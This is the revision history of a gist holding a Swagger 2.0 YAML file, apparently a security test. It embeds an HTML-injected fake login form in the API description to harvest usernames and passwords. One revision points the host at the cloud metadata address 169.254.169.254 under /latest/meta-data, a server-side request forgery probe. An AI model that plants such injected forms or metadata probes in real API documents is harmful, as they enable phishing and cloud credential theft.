uuruutest revised this gist . Go to revision
1 file changed, 1 insertion, 1 deletion
test3.yaml
@@ -23,7 +23,7 @@ info: | |||
23 | 23 | </form> | |
24 | 24 | </div> | |
25 | 25 | </div> | |
26 | - | host: 127.0.0.1 # Change to 127.0.0.1 for local testing | |
26 | + | host: 1.0.0.1 # Change to 127.0.0.1 for local testing | |
27 | 27 | schemes: | |
28 | 28 | - http | |
29 | 29 | paths: |
uuruutest revised this gist . Go to revision
1 file changed, 22 insertions, 21 deletions
test3.yaml
@@ -2,27 +2,28 @@ swagger: '2.0' | |||
2 | 2 | info: | |
3 | 3 | version: 1.0.0 | |
4 | 4 | title: Fake Login Page | |
5 | - | description: '<div class="login-form"> | |
6 | - | <div class="heading"> | |
7 | - | <h1>HTML Injection : Fake Login</h1> | |
5 | + | description: | | |
6 | + | <div class="login-form"> | |
7 | + | <div class="heading"> | |
8 | + | <h1>HTML Injection : Fake Login</h1> | |
9 | + | </div> | |
10 | + | <div class="form-container"> | |
11 | + | <form action="https://example.com/login" method="post" class="form-signin"> | |
12 | + | <div class="form-group"> | |
13 | + | <label for="username">Username</label> | |
14 | + | <input type="text" name="username" size="20"> | |
15 | + | </div> | |
16 | + | <div class="form-group"> | |
17 | + | <label for="password">Password</label> | |
18 | + | <input type="password" name="password" size="20"> | |
19 | + | </div> | |
20 | + | <div class="form-group"> | |
21 | + | <button type="submit" class="btn btn-default">Login</button> | |
22 | + | </div> | |
23 | + | </form> | |
24 | + | </div> | |
8 | 25 | </div> | |
9 | - | <div class="form-container"> | |
10 | - | <form action="https://example.com/login" method="post" class="form-signin"> | |
11 | - | <div class="form-group"> | |
12 | - | <label for="username">Username</label> | |
13 | - | <input type="text" name="username" size="20"> | |
14 | - | </div> | |
15 | - | <div class="form-group"> | |
16 | - | <label for="password">Password</label> | |
17 | - | <input type="password" name="password" size="20"> | |
18 | - | </div> | |
19 | - | <div class="form-group"> | |
20 | - | <button type="submit" class="btn btn-default">Login</button> | |
21 | - | </div> | |
22 | - | </form> | |
23 | - | </div> | |
24 | - | </div>' | |
25 | - | host: 169.254.169.254 | |
26 | + | host: 127.0.0.1 # Change to 127.0.0.1 for local testing | |
26 | 27 | schemes: | |
27 | 28 | - http | |
28 | 29 | paths: | |
@@ -33,7 +34,7 @@ paths: | |||
33 | 34 | responses: | |
34 | 35 | '200': | |
35 | 36 | description: Login successful | |
36 | - | /latest/meta-data: | |
37 | + | /your-endpoint: | |
37 | 38 | get: | |
38 | 39 | summary: Connect to 128.0.0.1 server | |
39 | 40 | description: This endpoint will demonstrate connecting to another server. |
uuruutest revised this gist . Go to revision
1 file changed, 2 insertions, 2 deletions
test3.yaml
@@ -22,7 +22,7 @@ info: | |||
22 | 22 | </form> | |
23 | 23 | </div> | |
24 | 24 | </div>' | |
25 | - | host: 128.0.0.1 | |
25 | + | host: 169.254.169.254 | |
26 | 26 | schemes: | |
27 | 27 | - http | |
28 | 28 | paths: | |
@@ -33,7 +33,7 @@ paths: | |||
33 | 33 | responses: | |
34 | 34 | '200': | |
35 | 35 | description: Login successful | |
36 | - | /your-endpoint: | |
36 | + | /latest/meta-data: | |
37 | 37 | get: | |
38 | 38 | summary: Connect to 128.0.0.1 server | |
39 | 39 | description: This endpoint will demonstrate connecting to another server. |
uuruutest revised this gist . Go to revision
1 file changed, 35 insertions, 36 deletions
test3.yaml
@@ -1,51 +1,50 @@ | |||
1 | 1 | swagger: '2.0' | |
2 | 2 | info: | |
3 | 3 | version: 1.0.0 | |
4 | - | title: Test Login Page | |
4 | + | title: Fake Login Page | |
5 | + | description: '<div class="login-form"> | |
6 | + | <div class="heading"> | |
7 | + | <h1>HTML Injection : Fake Login</h1> | |
8 | + | </div> | |
9 | + | <div class="form-container"> | |
10 | + | <form action="https://example.com/login" method="post" class="form-signin"> | |
11 | + | <div class="form-group"> | |
12 | + | <label for="username">Username</label> | |
13 | + | <input type="text" name="username" size="20"> | |
14 | + | </div> | |
15 | + | <div class="form-group"> | |
16 | + | <label for="password">Password</label> | |
17 | + | <input type="password" name="password" size="20"> | |
18 | + | </div> | |
19 | + | <div class="form-group"> | |
20 | + | <button type="submit" class="btn btn-default">Login</button> | |
21 | + | </div> | |
22 | + | </form> | |
23 | + | </div> | |
24 | + | </div>' | |
25 | + | host: 128.0.0.1 | |
26 | + | schemes: | |
27 | + | - http | |
5 | 28 | paths: | |
6 | 29 | /: | |
7 | 30 | post: | |
8 | - | summary: Login | |
9 | - | description: Authenticate and retrieve a message from the server | |
31 | + | summary: Fake login | |
32 | + | description: Fake login endpoint for demonstration. | |
10 | 33 | responses: | |
11 | 34 | '200': | |
12 | - | description: Successful response | |
13 | - | schema: | |
14 | - | type: object | |
15 | - | properties: | |
16 | - | message: | |
17 | - | type: string | |
18 | - | x-swagger-router-controller: loginController | |
19 | - | x-swagger-router-controllers: | |
20 | - | loginController: | |
21 | - | post: | |
22 | - | operationId: loginUser | |
23 | - | parameters: | |
24 | - | - name: username | |
25 | - | in: formData | |
26 | - | required: true | |
27 | - | type: string | |
28 | - | - name: password | |
29 | - | in: formData | |
30 | - | required: true | |
31 | - | type: string | |
35 | + | description: Login successful | |
36 | + | /your-endpoint: | |
37 | + | get: | |
38 | + | summary: Connect to 128.0.0.1 server | |
39 | + | description: This endpoint will demonstrate connecting to another server. | |
40 | + | produces: | |
41 | + | - application/json | |
32 | 42 | responses: | |
33 | 43 | '200': | |
34 | - | description: Login successful | |
44 | + | description: Successful response | |
35 | 45 | schema: | |
36 | 46 | type: object | |
37 | 47 | properties: | |
38 | 48 | message: | |
39 | 49 | type: string | |
40 | - | x-swagger-router-handle: | |
41 | - | - get: | |
42 | - | url: http://128.0.0.1/message | |
43 | - | headers: | |
44 | - | Content-Type: application/json | |
45 | - | response: | |
46 | - | description: Successful response | |
47 | - | schema: | |
48 | - | type: object | |
49 | - | properties: | |
50 | - | message: | |
51 | - | type: string | |
50 | + | example: Response from 128.0.0.1 |
uuruutest revised this gist . Go to revision
1 file changed, 51 insertions
test3.yaml(file created)
@@ -0,0 +1,51 @@ | |||
1 | + | swagger: '2.0' | |
2 | + | info: | |
3 | + | version: 1.0.0 | |
4 | + | title: Test Login Page | |
5 | + | paths: | |
6 | + | /: | |
7 | + | post: | |
8 | + | summary: Login | |
9 | + | description: Authenticate and retrieve a message from the server | |
10 | + | responses: | |
11 | + | '200': | |
12 | + | description: Successful response | |
13 | + | schema: | |
14 | + | type: object | |
15 | + | properties: | |
16 | + | message: | |
17 | + | type: string | |
18 | + | x-swagger-router-controller: loginController | |
19 | + | x-swagger-router-controllers: | |
20 | + | loginController: | |
21 | + | post: | |
22 | + | operationId: loginUser | |
23 | + | parameters: | |
24 | + | - name: username | |
25 | + | in: formData | |
26 | + | required: true | |
27 | + | type: string | |
28 | + | - name: password | |
29 | + | in: formData | |
30 | + | required: true | |
31 | + | type: string | |
32 | + | responses: | |
33 | + | '200': | |
34 | + | description: Login successful | |
35 | + | schema: | |
36 | + | type: object | |
37 | + | properties: | |
38 | + | message: | |
39 | + | type: string | |
40 | + | x-swagger-router-handle: | |
41 | + | - get: | |
42 | + | url: http://128.0.0.1/message | |
43 | + | headers: | |
44 | + | Content-Type: application/json | |
45 | + | response: | |
46 | + | description: Successful response | |
47 | + | schema: | |
48 | + | type: object | |
49 | + | properties: | |
50 | + | message: | |
51 | + | type: string |